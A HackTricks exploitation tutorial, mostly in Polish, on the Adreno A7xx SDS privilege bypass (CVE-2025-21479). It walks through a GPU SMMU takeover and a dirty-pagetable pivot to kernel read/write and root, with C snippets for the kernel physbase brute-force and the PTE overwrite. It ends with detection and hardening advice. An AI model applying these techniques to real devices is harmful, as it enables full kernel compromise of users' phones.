Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona abstrahuje rzeczywisty błąd logiki microcode w Adreno A7xx (CVE-2025-21479) do powtarzalnych technik eksploatacji: nadużywanie maskowania poziomów IB w Set Draw State (SDS) w celu wykonania uprzywilejowanych pakietów GPU z nieuprzywilejowanej aplikacji, pivotując do przejęcia GPU SMMU, a następnie do szybkiego, stabilnego kernel R/W przy użyciu dirty-pagetable trick.
- Dotyczy: Qualcomm Adreno A7xx GPU firmware przed poprawką microcode, która zmieniła maskowanie rejestru $12 z 0x3 na 0x7.
- Prymityw: Wykonanie uprzywilejowanych pakietów CP (np. CP_SMMU_TABLE_UPDATE) z SDS, które jest kontrolowane przez użytkownika.
- Rezultat: dowolne R/W pamięci kernel (fizycznej/wirtualnej), wyłączenie SELinux, root.
- Wymóg wstępny: Możliwość utworzenia kontekstu GPU KGSL i przesłania command buffers, które wchodzą w SDS (normalne uprawnienie aplikacji).
Tło: IB levels, SDS i maska $12
- Jądro utrzymuje ringbuffer (RB=IB0). Userspace zgłasza IB1 przez CP_INDIRECT_BUFFER, łącząc do IB2/IB3.
- SDS to specjalny strumień poleceń, do którego wchodzi się przez CP_SET_DRAW_STATE:
- A6xx: SDS jest traktowane jako IB3
- A7xx: SDS przeniesione do IB4
- Microcode śledzi aktualny poziom IB w rejestrze $12 i filtruje uprzywilejowane pakiety tak, aby były akceptowane tylko, gdy efektywny poziom odpowiada IB0 (kernel RB).
- Bug: A7xx microcode ciągle maskował $12 z 0x3 (2 bity) zamiast 0x7 (3 bity). Ponieważ IB4 & 0x3 == 0, SDS był błędnie identyfikowany jako IB0, co pozwalało na uprzywilejowane pakiety z kontrolowanego przez użytkownika SDS.
Dlaczego to ma znaczenie:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Przykład diff mikrokodu (patch zmienił maskę na 0x7):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Przegląd eksploatacji
Cel: Z poziomu SDS (błędnie odczytane jako IB0) issue uprzywilejowane CP packets, aby przekierować GPU SMMU na attacker-crafted page tables, a następnie użyć GPU copy/write packets do dowolnego fizycznego R/W. Na końcu pivot do szybkiego CPU-side R/W via dirty pagetable.
Wysokopoziomowy łańcuch
- Przygotuj fałszywy GPU pagetable w pamięci współdzielonej
- Wejdź do SDS i wykonaj:
- CP_SMMU_TABLE_UPDATE -> przełącz na fałszywy pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> zaimplementuj prymitywy write/read
- CP_SET_DRAW_STATE z run-now flags (dispatch immediately)
GPU R/W prymitywy via fake pagetable
- Write: CP_MEM_WRITE do wybranego przez atakującego GPU VA, którego PTEs zmapujesz na wybrane PA -> dowolny fizyczny zapis
- Read: CP_MEM_TO_MEM kopiuje 4/8 bajtów z docelowego PA do userspace-shared buffer (batch dla większych odczytów)
Uwagi
- Każdy proces Android dostaje kontekst KGSL (IOCTL_KGSL_GPU_CONTEXT_CREATE). Przełączanie kontekstów normalnie aktualizuje SMMU tables w RB; błąd pozwala zrobić to w SDS.
- Nadmierny ruch GPU może powodować zaniki UI i reboote; odczyty są małe (4/8B) i synchronizacja domyślnie jest wolna.
Budowanie sekwencji poleceń SDS
- Umieść (spray) fałszywy GPU pagetable w pamięci współdzielonej tak, aby przynajmniej jedna instancja trafiła na znany physical address (np. przez allocator grooming i powtórzenia).
- Zbuduj bufor SDS zawierający, w kolejności:
- CP_SMMU_TABLE_UPDATE do physical address fałszywego pagetable
- Jedna lub więcej paczek CP_MEM_WRITE i/lub CP_MEM_TO_MEM do implementacji R/W używając nowych translacji
- CP_SET_DRAW_STATE z flagami do run-now
Dokładne kodowania pakietów różnią się w zależności od firmware; użyj freedreno’s afuc/packet docs aby złożyć słowa, i upewnij się, że ścieżka submit SDS jest wywoływana przez driver.
Znajdowanie Samsung kernel physbase pod physical KASLR
Samsung randomizuje kernel physical base w znanym regionie na urządzeniach Snapdragon. Brute-force oczekiwany zakres i look for the first 16 bytes of _stext.
Przykładowa pętla
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
Gdy znany jest physbase, oblicz kernel virtual za pomocą liniowego odwzorowania:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
Stabilizowanie do szybkiego, niezawodnego po stronie CPU kernel R/W (dirty pagetable)
GPU R/W jest wolny i o małej granularności. Przełącz się na szybki/stabilny prymityw przez uszkodzenie własnych PTE procesu („dirty pagetable”):
Steps
- Zlokalizuj bieżący task_struct -> mm_struct -> mm_struct->pgd używając wolnych prymitywów GPU R/W
- mmap dwie sąsiednie strony w przestrzeni użytkownika A i B (np. pod 0x1000)
- Przejdź PGD->PMD->PTE, aby odczytać fizyczne adresy PTE A i B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Nadpisz PTE B, aby wskazywał na last-level pagetable zarządzający A/B z atrybutami RW (phys_to_readwrite_pte)
- Zapisuj przez VA B, aby zmodyfikować PTE A tak, by mapował docelowe PFN; czytaj/zapisuj pamięć jądra przez VA A, czyszcząc TLB aż sentinel zmieni stan
Przykład fragmentu dirty-pagetable pivot
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;
uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();
Wykrywanie i utwardzanie
- Firmware/mikrokod: popraw wszystkie miejsca maskujące $12, aby używały 0x7 (A7xx) i przeprowadź audyt privileged packet gates
- Sterownik: zweryfikuj efektywny poziom IB dla uprzywilejowanych pakietów i egzekwuj listy dozwolonych elementów na każdy kontekst
- Telemetria: zgłaszaj alert, jeśli CP_SMMU_TABLE_UPDATE (lub podobne uprzywilejowane opcode'y) pojawi się poza RB/IB0, szczególnie w SDS; monitoruj anomalne serie 4/8-bajtowych CP_MEM_TO_MEM oraz nadmierne wzorce czyszczenia TLB
- Jądro: wzmocnij metadane tablic stron i wykrywaj wzorce korupcji PTE pochodzące od użytkownika
Wpływ
Lokalna aplikacja z dostępem do GPU może wykonać uprzywilejowane pakiety GPU, przejąć GPU SMMU, uzyskać dowolny odczyt/zapis fizycznej/wirtualnej pamięci jądra, wyłączyć SELinux i zdobyć root na dotkniętych urządzeniach Snapdragon A7xx (np. Samsung S23). Ciężkość: Wysoka (kompromitacja jądra).
Referencje
- CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)
- Mesa freedreno afuc disassembler README (microcode + packets)
- Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)
- Dirty pagetable (archive)
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks